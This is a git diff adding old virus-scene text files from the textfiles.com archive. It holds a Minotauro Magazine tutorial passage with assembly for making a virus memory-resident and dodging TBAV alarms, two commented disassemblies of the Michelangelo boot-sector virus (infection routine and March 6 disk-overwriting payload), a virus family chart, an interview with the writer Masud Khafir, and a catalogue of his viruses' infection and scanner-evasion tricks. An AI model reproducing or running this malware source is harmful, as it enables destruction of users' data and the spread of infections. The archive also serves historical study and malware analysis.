+transfer control, and then this will give control to the "father" +program. To avoid all this, many viruses attach themselves to the +beginning of the programs they infect. Of course, this is slow, +since we have to read the whole file and copy it after the virus. +If the virus attaches to the end of the file, we only have to write +the virus, not the virus AND the file. This method is not very +elegant; more than just slow, other things can happen if the +infection places the virus at the beginning........ + +Below is the source to a TSR, NOT a virus, just a normal TSR to +illustrate how it works. This example hooks Int 21 and then passes +control without doing anything. Code can be added to make it do +what ever you want. + +=================================================================== +=================================================================== +code segment + assume cs:code,ds:code + org 100h +start: + jmp instalar ;Jump to the installation + ;routine. + +;We put the original Int21 address in this variable. +old_21 dd 2 + +new_21: + +;Here's the routine which hooks Int 21. + + jmp cs:[old_21] ;Jump to the original int. + +instalar: + +;Obtain the original Int 21 Vector + mov ax, 3521h + int 21h + mov word ptr old_21, bx + mov word ptr old_21+2, es + +;Set the new Int 21 vector. + mov ax,2521h + push cs + pop ds + mov dx, offset new_21 + int 21h + +;Now it's resident + mov ah, 31h + mov dx, 30d ;<--------- Number of paragraphs(16 bytes) + int 21h ;leave resident. + +code ends +end start +=================================================================== +=================================================================== + + The second method is a little more complex than simply calling +Int 27h, but it's much more effective. To understand how it works, +you must be aware that DOS creates a control block for each memory +block used. This control block is 16 bytes long (a paragraph)and +is just above the assigned memory block. In a COM file, for +example, CS - 1 contains the address of this block. In offset 3 of +the same we can find the amount of memory used by the program.... +To make our program resident, we must subtract from that value the +length of the virus, free up the memory which is no longer used +(service 4ah), and assign it to our program (service 48h). We +finish by marking the MCB of the segment to which we moved our +virus with '8' in offset 1, to fool DOS into not using that part of +memory. When we mark the block we use an '8' to identify it +because DOS uses the same. + + The code that follows shows how it's done..... the code will +leave a virus resident from a COM file. To load a virus from an +EXE we must keep in mind that the MCB segment to be modified is +obtained by subtracting 1 from DS, not CS. + +=================================================================== +=================================================================== +;I pass the code segment to AS, I subtract it and pass to ES to +;obtain the amount of memory reserved by the host program (ES:[3]), +;which is in AX....... + + mov ax, cs ;With this we obtain the MCB segment. + dec ax + + mov es, ax ;Here we obtain from the MCB the + mov ax, es:[3] ;amount of memory used. + +;I subtract the length of the virus from the memory used by the +;host and place the result in AX + + sub ax, bx ;BX contains the length of the virus + ;in paragraphs + +;We pass the result of the previous operation to BX so as to then +;call the service which frees memory, with the new size and the +;segment in ES. + push bx ;Save the amount of memory to be reserved + mov bx, ax ;Pass the new amount to BX. + push cs + pop es + mov ah, 4ah + int 21h + +;I assign the freed memory to my virus, the assigned memory segment +;goes to AX. I decrease BX because DOS will use one paragraph. + + pop bx ;Pop the amount of memory to be reserved. + dec bx + mov ah, 48h + int 21h + +;I decrease AX and pass it to ES; that way I point to the paragraph +;DOS uses as a control, I mark the paragraph at offset 1 with an 8 +;so that DOS thinks it's a part of itself and not use this part of +;memory. I then increment AX again and pass it to ES, so that ES +;points to the memory the virus will use. + + dec ax + mov es, ax + mov word ptr es:[1], 8 + mov word ptr es:[8],'XX' ;Optional: name that block. + inc ax + mov es, ax + + push es ;Save the address of the virus + ;segment. + +=================================================================== +=================================================================== + +All that remains is to move the virus to the reserved segment, a +simple matter of doing a "rep movsb" to the segment to which ES +points and that's it, the virus is resident. + +NOTE: +The routine by itself does not set off any alarms; TBAV's +residence alarm is set off when it detects a hook to Int 21h or +13h. + + + Text by Zarathustra for Minotauro Magazine + diff --git a/textfiles.com/virus/michael.asm b/textfiles.com/virus/michael.asm new file mode 100644 index 00000000..1a5a7820 --- /dev/null +++ b/textfiles.com/virus/michael.asm @@ -0,0 +1,234 @@ + +; This is a disassembly of the much-hyped michelangelo virus. +; As you can see, it is a derivative of the Stoned virus. The +; junk bytes at the end of the file are probably throwbacks to +; the Stoned virus. In any case, it is yet another boot sector +; and partition table infector. + +michelangelo segment byte public + assume cs:michelangelo, ds:michelangelo +; Disassembly by Dark Angel of PHALCON/SKISM + org 0 + + jmp entervirus +highmemjmp db 0F5h, 00h, 80h, 9Fh +maxhead db 2 ; used by damagestuff +firstsector dw 3 +oldint13h dd 0C8000256h + +int13h: + push ds + push ax + or dl, dl ; default drive? + jnz exitint13h ; exit if not + xor ax, ax + mov ds, ax + test byte ptr ds:[43fh], 1 ; disk 0 on? + jnz exitint13h ; if not spinning, exit + pop ax + pop ds + pushf + call dword ptr cs:[oldint13h]; first call old int 13h + pushf + call infectdisk ; then infect + popf + retf 2 +exitint13h: pop ax + pop ds + jmp dword ptr cs:[oldint13h] + +infectdisk: + push ax + push bx + push cx + push dx + push ds + push es + push si + push di + push cs + pop ds + push cs + pop es + mov si, 4 +readbootblock: + mov ax,201h ; Read boot block to + mov bx,200h ; after virus + mov cx,1 + xor dx,dx + pushf + call oldint13h + jnc checkinfect ; continue if no error + xor ax,ax + pushf + call oldint13h ; Reset disk + dec si ; loop back + jnz readbootblock + jmp short quitinfect ; exit if too many failures +checkinfect: + xor si,si + cld + lodsw + cmp ax,[bx] ; check if already infected + jne infectitnow + lodsw + cmp ax,[bx+2] ; check again + je quitinfect +infectitnow: + mov ax,301h ; Write old boot block + mov dh,1 ; to head 1 + mov cl,3 ; sector 3 + cmp byte ptr [bx+15h],0FDh ; 360k disk? + je is360Kdisk + mov cl,0Eh +is360Kdisk: + mov firstsector,cx + pushf + call oldint13h + jc quitinfect ; exit on error + mov si,200h+offset partitioninfo + mov di,offset partitioninfo + mov cx,21h ; Copy partition table + cld + rep movsw + mov ax,301h ; Write virus to sector 1 + xor bx,bx + mov cx,1 + xor dx,dx + pushf + call oldint13h +quitinfect: + pop di + pop si + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + retn +entervirus: + xor ax,ax + mov ds,ax + cli + mov ss,ax + mov ax,7C00h ; Set stack to just below + mov sp,ax ; virus load point + sti + push ds ; save 0:7C00h on stack for + push ax ; later retf + mov ax,ds:[13h*4] + mov word ptr ds:[7C00h+offset oldint13h],ax + mov ax,ds:[13h*4+2] + mov word ptr ds:[7C00h+offset oldint13h+2],ax + mov ax,ds:[413h] ; memory size in K + dec ax ; 1024 K + dec ax + mov ds:[413h],ax ; move new value in + mov cl,6 + shl ax,cl ; ax = paragraphs of memory + mov es,ax ; next line sets seg of jmp + mov word ptr ds:[7C00h+2+offset highmemjmp],ax + mov ax,offset int13h + mov ds:[13h*4],ax + mov ds:[13h*4+2],es + mov cx,offset partitioninfo + mov si,7C00h + xor di,di + cld + rep movsb ; copy to high memory + ; and transfer control there + jmp dword ptr cs:[7C00h+offset highmemjmp] +; destination of highmem jmp + xor ax,ax + mov es,ax + int 13h ; reset disk + push cs + pop ds + mov ax,201h + mov bx,7C00h + mov cx,firstsector + cmp cx,7 ; hard disk infection? + jne floppyboot ; if not, do floppies + mov dx,80h ; Read old partition table of + int 13h ; first hard disk to 0:7C00h + jmp short exitvirus +floppyboot: + mov cx,firstsector ; read old boot block + mov dx,100h ; to 0:7C00h + int 13h + jc exitvirus + push cs + pop es + mov ax,201h ; read boot block + mov bx,200h ; of first hard disk + mov cx,1 + mov dx,80h + int 13h + jc exitvirus + xor si,si + cld + lodsw + cmp ax,[bx] ; is it infected? + jne infectharddisk ; if not, infect HD + lodsw ; check infection + cmp ax,[bx+2] + jne infectharddisk +exitvirus: + xor cx,cx ; Real time clock get date + mov ah,4 ; dx = mon/day + int 1Ah + cmp dx,306h ; March 6th + je damagestuff + retf ; return control to original + ; boot block @ 0:7C00h +damagestuff: + xor dx,dx + mov cx,1 +smashanothersector: + mov ax,309h + mov si,firstsector + cmp si,3 + je smashit + mov al,0Eh + cmp si,0Eh + je smashit + mov dl,80h ; first hard disk + mov maxhead,4 + mov al,11h +smashit: + mov bx,5000h ; random memory area + mov es,bx ; at 5000h:5000h + int 13h ; Write al sectors to drive dl + jnc skiponerror ; skip on error + xor ah,ah ; Reset disk drive dl + int 13h +skiponerror: + inc dh ; next head + cmp dh,maxhead ; 2 if floppy, 4 if HD + jb smashanothersector + xor dh,dh ; go to next head/cylinder + inc ch + jmp short smashanothersector +infectharddisk: + mov cx,7 ; Write partition table to + mov firstsector,cx ; sector 7 + mov ax,301h + mov dx,80h + int 13h + jc exitvirus + mov si,200h+offset partitioninfo ; Copy partition + mov di,offset partitioninfo ; table information + mov cx,21h + rep movsw + mov ax,301h ; Write to sector 8 + xor bx,bx ; Copy virus to sector 1 + inc cl + int 13h +;* jmp short 01E0h + db 0EBh, 32h ; ?This should crash? +; The following bytes are meaningless. +garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h +partitioninfo: db 42h dup (0) +michelangelo ends + end diff --git a/textfiles.com/virus/michangl.txt b/textfiles.com/virus/michangl.txt new file mode 100644 index 00000000..234c2b4c --- /dev/null +++ b/textfiles.com/virus/michangl.txt @@ -0,0 +1,225 @@ +; Michelangelo +; Size: 512 +; Type: Boot infector +; Date of action: March 6th +; +; + +data_1e equ 4Ch ; (0000:004C=1DB1h) +data_2e equ 4Eh ; (0000:004E=70h) +data_3e equ 413h ; (0000:0413=280h) +data_4e equ 7C05h ; (0000:7C05=203Ch) +data_5e equ 7C0Ah ; (0000:7C0A=49EBh) +data_6e equ 7C0Ch ; (0000:7C0C=2A3Ch) +data_7e equ 7 ; (694E:0007=0) +data_8e equ 8 ; (694E:0008=0) +data_9e equ 0Ah ; (694E:000A=0) +data_11e equ 7C03h ; (694E:7C03=0) + +seg_a segment + assume cs:seg_a, ds:seg_a + + + org 100h + +mich proc far + +start: + jmp loc_6 ; (01AF) "This is what you see at sector 0" + db 0F5h, 0, 80h, 9Fh, 2, 3 ; A lot of the virus is hidden + db 0, 56h, 2, 0, 0C8h, 1Eh ; in these defined bytes + db 50h, 0Ah, 0D2h, 75h, 1Bh, 33h ; watch this carefully + db 0C0h, 8Eh, 0D8h, 0F6h, 6, 3Fh ; or you will miss where + db 4, 1, 75h, 10h, 58h, 1Fh ; it writes to your + db 9Ch, 2Eh, 0FFh, 1Eh, 0Ah, 0 ; partiton table + db 9Ch, 0E8h, 0Bh, 0, 9Dh, 0CAh + db 2, 0, 58h, 1Fh, 2Eh, 0FFh + db 2Eh, 0Ah, 0, 50h, 53h, 51h + db 52h, 1Eh, 6, 56h, 57h, 0Eh + db 1Fh, 0Eh, 7, 0BEh, 4, 0 +loc_1: ;Init registers + mov ax,201h + mov bx,200h + mov cx,1 + xor dx,dx ; Zero register + pushf ; Push flags + call dword ptr ds:data_9e ; (694E:000A=0) + jnc loc_2 ; Jump if carry=0 + xor ax,ax ; Zero register + pushf ; Push flags + call dword ptr ds:data_9e ; (694E:000A=0) + dec si + jnz loc_1 ; Jump if not zero + jmp short loc_5 ; (01A6) +loc_2: ;Zero registers clear direction + xor si,si ; Zero register + cld ; Clear direction + lodsw ; String [si] to ax + cmp ax,[bx] + jne loc_3 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,[bx+2] + je loc_5 ; Jump if equal +loc_3: ; cmp byte ptr See infected + mov ax,301h + mov dh,1 + mov cl,3 + cmp byte ptr [bx+15h],0FDh + je loc_4 ; Jump if equal + mov cl,0Eh +loc_4: ;call out all db hiden data + mov ds:data_8e,cx ; (694E:0008=0) + pushf ; Push flags + call dword ptr ds:data_9e ; (694E:000A=0) + jc loc_5 ; Jump if carry Set + mov si,3BEh + mov di,1BEh + mov cx,21h + cld ; Clear direction + rep movsw ; Rep while cx>0 Mov [si] + mov ax,301h ; to es:[di] + xor bx,bx ; Zero register + mov cx,1 + xor dx,dx ; Zero register + pushf ; Push flags + call dword ptr ds:data_9e ; (694E:000A=0) +loc_5: ;Clear all set + pop di + pop si + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + retn +loc_6: ;Load all hiden data + xor ax,ax ; Zero register + mov ds,ax + cli ; Disable interrupts + mov ss,ax + mov ax,7C00h + mov sp,ax + sti ; Enable interrupts + push ds + push ax + mov ax,ds:data_1e ; (0000:004C=1DB1h) + mov ds:data_5e,ax ; (0000:7C0A=49EBh) + mov ax,ds:data_2e ; (0000:004E=70h) + mov ds:data_6e,ax ; (0000:7C0C=2A3Ch) + mov ax,ds:data_3e ; (0000:0413=280h) + dec ax + dec ax + mov ds:data_3e,ax ; (0000:0413=280h) + mov cl,6 + shl ax,cl ; Shift w/zeros fill + mov es,ax + mov ds:data_4e,ax ; (0000:7C05=203Ch) + mov ax,0Eh + mov ds:data_1e,ax ; (0000:004C=1DB1h) + mov ds:data_2e,es ; (0000:004E=70h) + mov cx,1BEh + mov si,7C00h + xor di,di ; Zero register + cld ; Clear direction + rep movsb ; Rep while cx>0 Mov [si] + jmp dword ptr cs:data_11e ; to es:[di] (694E:7C03=0) + db 33h, 0C0h, 8Eh, 0C0h, 0CDh, 13h ;<- Notice all the + db 0Eh, 1Fh, 0B8h, 1, 2, 0BBh ; cd 13 + db 0, 7Ch, 8Bh, 0Eh, 8, 0 + db 83h, 0F9h, 7, 75h, 7, 0BAh + db 80h, 0, 0CDh, 13h, 0EBh, 2Bh + db 8Bh, 0Eh, 8, 0, 0BAh, 0 + db 1, 0CDh, 13h, 72h, 20h, 0Eh + db 7, 0B8h, 1, 2, 0BBh, 0 + db 2, 0B9h, 1, 0, 0BAh, 80h + db 0, 0CDh, 13h, 72h, 0Eh, 33h + db 0F6h, 0FCh, 0ADh, 3Bh, 7, 75h + db 4Fh, 0ADh, 3Bh, 47h, 2 + db 75h, 49h +loc_7:;check if it is time to nuke + xor cx,cx ; Zero register + mov ah,4 + int 1Ah ; Real time clock ah=func 04h don't work on an xt + ; read date cx=year, dx=mon/day + cmp dx,306h ; See if March 6th + je loc_8 ; Jump if equal to nuking subs + retf ; Return to launch command.com +loc_8:;get ready + xor dx,dx ; Zero register + mov cx,1 +loc_9:;run 7 times nuke 31.5 megs of hd + mov ax,309h + mov si,ds:data_8e ; (694E:0008=0) + cmp si,3 + je loc_10 ; Jump if equal + mov al,0Eh + cmp si,0Eh + je loc_10 ; Jump if equal + mov dl,80h + mov byte ptr ds:data_7e,4 ; (694E:0007=0) + mov al,11h +loc_10: ;nuke away + mov bx,5000h + mov es,bx + int 13h ; Disk dl=drive a: ah=func 03h + ; write sectors from mem es:bx + jnc loc_11 ; Jump if carry=0 + xor ah,ah ; Zero register + int 13h ; Disk dl=drive a: ah=func 00h + ; reset disk, al=return status +loc_11: ;rest for loc-9 nuking + inc dh + cmp dh,ds:data_7e ; (694E:0007=0) + jb loc_9 ; Jump if below + xor dh,dh ; Zero register + inc ch + jmp short loc_9 ; (0250) +loc_12:;time to infect a floppie or hard dirve + mov cx,7 + mov ds:data_8e,cx ; (694E:0008=0) + mov ax,301h + mov dx,80h + int 13h ; Disk dl=drive a: ah=func 03h infect flopie + ; write sectors from mem es:bx + jc loc_7 ; Jump if carry Set + mov si,3BEh + mov di,1BEh + mov cx,21h + rep movsw ; Rep while cx>0 Mov [si] + mov ax,301h : to es:[di] + xor bx,bx ; Zero register + inc cl + int 13h ; Disk dl=drive a: ah=func 03h lets infect hd + ; write sectors from mem es:bx +;* jmp short loc_13 ;*(02E0) + db 0EBh, 32h + db 1, 4, 11h, 0, 80h, 0 + db 5, 5, 32h, 1, 0, 0 + db 0, 0, 0 + db 53h, 53h, 20h, 20h, 43h, 4Fh + db 4Dh + db 58 dup (0) + db 55h, 0AAh + +seg_a ends + +;Last notes this virus looks like a poor hack job on the stoned virus. +;It is kinda cool in the fact that it is hard to get out of the partition table +;even if you nuke the partition table it will live on even if you replace it. +;the only way to get it out of the partition table is 1. debug 2.clean ver 86b +;3 cpav 1.0 and above. oh yeah and all that special shit that came out for it +;this virus uses int 1ah which doesn't work on an XT system. +;the virus isn't actually 512 but that is how much it writes. +;it moves the boot area of a floppy to the last sector on the disk +;and on a harddrive it moves it to the last sector in the root directory +;This should show you all how much the media can over do it on things +;since this is really a lame virus,to tell you the truth there is a lot better +;ones out there. +;This in no way is a complete listing of the code for the virus. +;Nor is it the best since i'm not the best at Assembly. +;Done by Visionary. +;BTW to who ever wrote this virus... Get a life! + +------------------------------------------------------------------------------- +Downloaded From P-80 Systems 304-744-2253 diff --git a/textfiles.com/virus/mk-chart.txt b/textfiles.com/virus/mk-chart.txt new file mode 100644 index 00000000..f035a22b --- /dev/null +++ b/textfiles.com/virus/mk-chart.txt @@ -0,0 +1,73 @@ + + Virus relationship charts of Masud Khafir's viruses + =================================================== + + + +Gotcha F (732) + 쳐� Gotcha E (607) + 읕� Gotcha A (879) + 읕� Gotcha B (881) + 읕� Gotcha C (906) + 읕� Gotcha D (627) + 쳐� Pogue + 읕� Legalize + 읕� Coffeeshop 1 + 쳐� Coffeeshop 2 + 읕� Coffeeshop 3 (Girafe A) + 읕� Coffeeshop 4 (Girafe B) + 쳐� Cruncher 1.0 + � 읕� Cruncher 2.0 + � 읕� Cruncher 2.1 + 쳐� PlayGame + 읕� Bosnia + + +Seventh son 350 + 읕컴� Seventh son 332 + 읕컴� Seventh son 284 + 읕컴� DOS-1 + + +Little Brother 299 + 쳐컴� Little Brother 307 + � 쳐컴� Little Brother 321 + � 읕컴� Little Brother 349 (Vote) (*) + � 읕컴� Little Brother 361 (Vote-Erase) (*) + 읕컴� Little Brother 300 (*) + + +Cannabis 1 + 읕컴� Cannabis 2 + 읕컴� Cannabis 3 + 읕컴� Cannabis 4 (*) + + +Dutch Tiny 126 + 쳐컴� Dutch Tiny 124 + � 읕컴� Dutch Tiny 122 + 읕컴� Dutch Tiny 124B + + +Dutch Mini 99 + 읕컴� Dutch Mini 97 + 쳐컴� Dutch Mini 91 + 쳐컴� Dutch Mini 117 + 읕컴� Dutch Mini 111 + + +46-Virus + 읕컴� PCA virus + + +ANSI-Virus + +Virus_for_Windows 1.4 + +MK-Worm + + + + +(*) Note: The viruses marked with (*) are NOT written by Masud Khafir! + \ No newline at end of file diff --git a/textfiles.com/virus/mkinterv.iew b/textfiles.com/virus/mkinterv.iew new file mode 100644 index 00000000..4b838f68 --- /dev/null +++ b/textfiles.com/virus/mkinterv.iew @@ -0,0 +1,304 @@ +-------------------------------------------------------------------------------- + INTERVIEW WITH MASUD KHAFIR / TRIDENT / THE NETHERLANDS +-------------------------------------------------------------------------------- + + Give me a short description of who you are! + +- I am Masud Khafir, virus writer. + Age: twenty-something. + Country: The Netherlands + That's about all that I want to reveal about my identity. + + From where did you get your handle, Masud Khafir? + +- 'Masud' is a common name in the middle east. I chose that name in the + spring of 1991, when the kurdish rebellion in iraq was active. Their + leader was Masud Barzani. There are more rebel leaders with that name: + Masud Rajavi, leader of the Iranian Mujahedin e Khalq and Ahmad Shah + Masud, one of the Afghan rebel leaders. 'Khafir' is a word I once + found in the dictionary. It's arab and is a rude word for non-muslims. + In the south-african language it's 'kaffir' and means 'nigger'. In + Holland it is 'kaffer' and is used for calling someone an idiot. I + found it a funny word, because of its strange history. + + When did you discovered the world of computers? + +- A long time ago. My first computer was a C-64. That was about 10 + years ago. But I have even programmed before that time. + + How long have you been active in the scene? + +- Like I said, I started in the spring of 1991. That's allmost 3 + years now. + + How did you came into the virus business? + +- It started when I got a virus from a friend. I dissasembled that + virus and after that I was wondering if I could write one myself. + In the same time I started reading the virus areas on fidonet and + there I read about Todor Todorov's Virus eXchange BBS. I was very + curious about that and so I called it a few times. That's how I got + into the scene. + + Positive/negative aspects of the scene? + +- I think that the attitude towards the AV community is sometimes a bit + too hostile. I see it more like a chessgame, they are our opponents, + but we don't have to be enemies. Many of them are just nice people. + But of course the same is true for the other side. Some of them just + hate us. What I also don't like is the negative image of the scene, + that adolescent rebellious attitude and creating an image of oneself + as evil and dangerous. But that's just my personal opinion. This + also means that I don't like destructive viruses. + + Have you been involved in any other group than Trident? + +- No. + + Who started/created Trident? + +- It was started by John Tardy. + + What's the groups goal? + +- I think the main goal is to keep in touch with each other. There's not + a big cooperation on writing viruses. Everybody does its own things. + + How many people are you? + +- About between 5 and 10. + + Do all of them program, if not, what's the others job? + +- It's mainly a programmers group. But there are some non-writers + affiliated with the group. + + How is Trident (currently) organzied? + +- There is no real organisation. It's mainly a group of friends. + + Have you got any contacts with other virus-groups/programmers? + +- Some of us have contacts with others. At this moment we can have + access to Nuke-net. + + Can anyone ask for membership, or are you a "private" group? + +- I guess we are more or less a private group. There have been new + members in the past. In that case we just all agreed. At this moment + we don't feel to expand. + + You've programmed aloth of polymorphic things, and one of them is the + Trident Polymorphic Engine, what comments have you recieved about it? + +- Well, various. I have not had that many personal responses, as I am + not too easy to reach. But it has got quite some attention in the + virus/antivirus world. It's also one of the things that made the + name Trident known in the scene. + + Will you continue to "upgrade" it, or is it a finished project? + +- TPE is now finished. The first versions all had some bugs. I thought + that version 1.3 would be the last one, but that one still had a small + bug. Version 1.4 seems to be okay, as far as I know now. Besides, I + don't think I would want to put out a new version again, anymore. + + How many strains/mutations can it produce? + +- I have no idea. Enough, I think. The most important thing is that the + decryptors can not be found with wildcard scanstrings. That's the main + idea behind polymorphism. In version 1.4 I also enhanced the way in + which it encrypts, because this was a weak point. + + Even thought polymorphic engine's are a great thing, not many people + seems to use them? You have any theorie why they don't? + +- I think most people just want to make their own things, rather than + use someone else's products. And maybe because antivirus writers have + been quite succesful in finding ways to detect them. + + Which is the best polymorphic engine around today? + +- It's hard to say. I've seen several of them but I haven't done a real + close study on any of them. Each of them has its strong and weak + points, I think. Of course there are not only the engines, but also + a lot of other polymorphic viruses, like V2P*, Maltese Amoeba, + Uruguay, etc. TPE started this way too. Some of these viruses are + just as advanced as the engines. But none of those engines and viruses + is perfect. For every one of them the AV people have found a solution. + + Have you ever thought of/are you currently releasing some sort of + electronic magazine (text/executable/hard-copy) + +- Yes, we have been thinking about that. But we didn't have enough good + ideas (and are too lazy) to write enough articles. We rather write + code than text. We couldn't even agree on the title... + + Are you into other things such as hacking and phreaking aswell, or + just viruses? + +- I once was interrested in things like hacking etc. But I'm not + involved in that scene now. + + Can you name a few viruses/engines you in person have written? + +- The most known are: Gotcha, 7th son, Little Brother, Pogue, + CoffeeShop, WinVir, TPE, Cruncher, PlayGame, etc.. + + Which one was the hardest to write? + +- Probably the first one: Gotcha. WinVir and Cruncher were quite + hard too. + + Do you have any sort of company or law-enforcement who are trying + to hunt Trident down? + +- Perhaps. This could be possible. Anyway, we keep cautious, because + you never know... + + If so, are they a real threat or just "childish"? + +- There is a new law against various computer crimes since 1 march 1993. + Writing a virus is not illegal. Distributing viruses in any way can be + illegal. The law is not very clear about this. If we as writers + exchange viruses amongst each others, that could perhaps be + interpreted as something illegal. Last year another guy in Holland + was arrested for hacking, and although he hasn't been convicted for + anything yet, the law enforcement has been quite tough on him. So + they certainly can make your life hard if they want to. + + Have you ever had any trouble in the group with the result of + kicked members? + +- No. + + How good are Trident comparing to other groups? + +- Well, I leave that to others to decide. + + Do you have any couriers that spread your products around? + +- We don't spread our viruses in the wild. But we do exchange them + with other people in the virus scene. + + What do you think about the laws against h/p/v that has arrived + lately? + +- They were inevitable. I don't know much about the laws in other + countries, but I think here they are too tough. The penalties are + too high. OK, these things we do might be naughty, but they not + crimes. + + What do you think about various news-papers thinking us as nerds? + +- They have used the same cliche's before for computer freaks in + general. I don't know, maybe it is true for some. At least I think + most of us are young, male, IQ>100, interested in technical stuff, + etc. But that doesn't mean that we're nerds. The people that I know + aren't. + + Has the scene in any way influented on your real life? + +- No, not really. + + Would you feel guilty if one of your viruses made damage to a + hospital? + +- Yes, I would. For that reason I don't write viruses that destroy data. + I usualy don't spread them in the wild at all. I only did that once, + when I was in a bad mood. I don't wanna cause other people trouble. + For me creating them is the most important thing. But of course I + also like it if they get some worldwide attention. That's human + nature, I guess. That's why I don't mind if AV people get them. + But I don't see a problem in giving them to VX people either, + because my experience is that viruses in the VX scene very rarely + leak out in the wild. + + Do you see any differences between the scene now and a couple of + years ago (concerning the underground part ofcause)? + +- The scene is growing and there are more contacts between each other. + A few years ago it was much harder to get in contact with other virus + writers. + + Which virus-magazine do you think is the best avalible now-a-days? + +- I think my favorite is 40hex. + + Which virus-group/programmer do you admire/like? + +- Of course Dark Avenger was one of the best, maybe the best. He often + introduced new techniques. I also people like Dark Angel from P/S. + But to be honest, I don't often take a deep look at other viruses + anymore these days. + + Which country is the best virus-writing today (Before it was + Bulgaria, maybe changed)? + +- I haven't heard anything from Bulgaria for a long time. Sometimes I + have some nostalgia for the times when Bulgaria was the virus centre + of the world. :-) Today it's probably the USA, because they're the + biggest country in the west. I think it's strange we don't hear that + much about Russia. + + What do you think about these virus generators, such as VCL and PS-MPC? + +- They are funny things. I like them for what they can do, for the + technical side of it. + + What do you think about the people using them? + +- It's nice to experiment a bit with them, but creating a virus this + way is defenitly not something to be proud of. + + What do you think about people bragging over (almost) nothing and + ragging with other groups aswell? + +- I think they're giving the virus scene a bad name. + + What do you think about such individes as board-crashers? + +- I don't know any of them, but I think it's rather lame. + + Describe the perfect virus : + +- One that is totally bug-free. One that is 100% compatible with all + programs and doesn't for example crash the computer is you start + Windows. + + Describe the perfect viruscoder : + +- One that invents new techniques. One that can defeat the anti-virus + programs. + + Describe the AV-community with a few lines : + +- We need them. I think every virus writer uses AV programs. + It is nice when a virus can be smarter than the current AV software, + but it would be scary if they wouldn't be able to find a solution for + it. But it's a shame that some AV people hate us. + + Which AV-program do think is the best, and why? + +- I like TBscan a lot, mainly for its heuristic features. And it's + fast. F-prot is best in identifying viruses and it's very user + friendly. I also like AVP from russia. Sometimes it's a bit slow, + but it is very powerful. It also has a very nice info section. + + What do you think about the underground's future? + +- I think it will continue to grow, but perhaps it will get less + exciting. Viruses are not as special and mysterious anymore as + they were before. + + Do you know/heard of any new technics coming in the near future? + +- No, I wish I knew... + + Any advice to people who want's to learn the basic of virus-writing? + +- Take a good look at other viruses and sources. Try to understand + their weak and their strong points. Test your stuff before you give + it away, because it's a shame to have dozens of bug-fix updates for + the same virus. Do it for the fun of it, and not to cause other + people trouble. And try to be original. \ No newline at end of file diff --git a/textfiles.com/virus/mkvirlst.txt b/textfiles.com/virus/mkvirlst.txt new file mode 100644 index 00000000..d52400fa --- /dev/null +++ b/textfiles.com/virus/mkvirlst.txt @@ -0,0 +1,450 @@ +Gotcha 1 + + This was the first virus I wrote. It is a resident COM and EXE infector. + It infects programs when they are executed. It hides at the top of + conventional memory. When infecting it intercepts INT24, circumvents + the read-only attribute and disables Ctrl-Break. It also restores the + original file date and time after the infection. Some parts of it were + taken from the Yankee Doodle virus, but nevertheless this is an enterly + new virus. + + +Gotcha 4 + + This is a resident COM infector. It is a stripped-down variant of + version 1. The special thing about this virus is that it contains + scan-strings of a few other viruses. These scan-strings are encrypted + and in every infected file one of them is decrypted. So scanners can be + fooled to think that there are up to 8 differrent other viruses in case + a lot of files have been infected with this virus. + + +Gotcha 6 + + This version is the follow-up of version 1. This one has some additional + features. It can also infect files when they are opened, it avoids to + infect files matching the name *AN*.* (like SCAN.EXE, CLEAN.EXE, + TBSCAN.EXE etc...) and it won't infect files when the DOS environment + contains "E=mc�". + + +Gotcha 7 + + This is a minor bug-fix of version 6. + + +Gotcha 9 + + In this next version a few bugs are removed and the code has been made + a little bit efficient. It can also infect files on more different DOS + funcions like rename (56h), attribute (43h), findfirst (4Eh) and many + others. It now also avoids files matching the name V*.* (like VIRX.EXE, + VSHIELD.EXE, etc..). + + +Gotcha 17 + + This version is quite different from the others. It uses another technique + to access files, similar as many bulgarian viruses (like 512). Also other + things are made more efficient. This one only infects files when they are + executed or closed. It now also avoids files matching the name F*.*. + + +46 Virus + + This is an extremely simple virus. It just overwrites all COM files in + it's directory with a copy of itself. It's length is 46 bytes, hence the + name. + + +Seventh Son 1 + + This is a simple non-resident COM infecting virus. It will infect all + other COM files in it's directory. It circumvents read-only attributes, + intercepts INT24, disables Ctrl-break and keeps the original file date + and time when infecting. The virus contains a generation counter. If + both his own and the previous generation are 7, it will display the text + "Seventh son of a seventh son" on the screen. This virus was named after + an Iron Maiden song (yes, I admit, not very original). + + +Seventh Son 2 + + This version is a little bit smaller and more efficiently coded. This + virus alsos contain the text 'Virus' in cyrilic (궓개�) at the end. This + has no special purpose. Just to confuse some people. + + +Seventh son 4 + + This version is again made smaller and more efficient. + + +Little Brother 1 + + This is a resident spawning EXE infector. It infects EXE files by + creating a COM file with the same name, without touching the EXE file. + The COM file only contains the complete virus. The first time the virus + is executed it will install itself in an unused part of memory (and not + run the original program). When DOS wants to execute a program, the virus + uses a clumsy algorithm to decide whether a COM or an EXE file should be + executed. + + +Little Brother 2 + + In this version a few bugs are removed and it is also a bit more + efficiently coded. + + +Little Brother 3 + + This version works a little bit different than the previous two. This + one doesn't use the resident algorithm anymore to decide wether to + execute a COM or an EXE file. Instead the original EXE program is + spawned from the COM program (the virus). + + +Tiny 126 + + This is a small resident COM infecting virus. It is written as an attempt + to write the smallest possible virus. The length of this virus is 126 + bytes. It does NOT re-infect programs that are already infected. This + virus hides in memory at address 0050:0100. + + +Tiny 124 + + This one is exactly the same as the previous one, only it hides at address + 0000:0100. That location is part of the interrupt area, and because of + that this virus is very unstable. It crashes very often, but nevertheless + it is able to infect files. + + +Tiny 124B + + This is a variant of version 126. It will not infect COM files that begin + with a near JMP (E9h). This version has a disadvantage that it also tries + to infect EXE files. Infected EXE files will not function anymore. + + +Tiny 122 + + This one is based on version 124. It has the same disadvantage as + version 124B. + + +Mini 99 + + This is a small non-resident COM infecting virus. Like the previous + mentioned viruses, this one too was written as an attempt to write the + smallest possible virus. A big part of the code is similar although it + is a different type of virus. This virus will infect all COM files in + it's directory. + + +Mini 97 + + This version is 2 bytes smaller. It will not infect COM files that begin + with a near JMP (E9h). + + +Mini 91 + + This version only tries to infect the first COM file in it's directory. + + +Mini 117 + + This one is a little bit improved variant. It will infect only the first + uninfected COM file in it's directory (if the first one is infected it + will infect the second one). + + +Mini 111 + + This is an improved version of Mini 97. This one will keep the original + DTA area, so programs that use command-line input will still function. + + +Cannabis 1 + + This is an overwriting floppy bootsector virus. It is a sort of + combination of a (simplified) 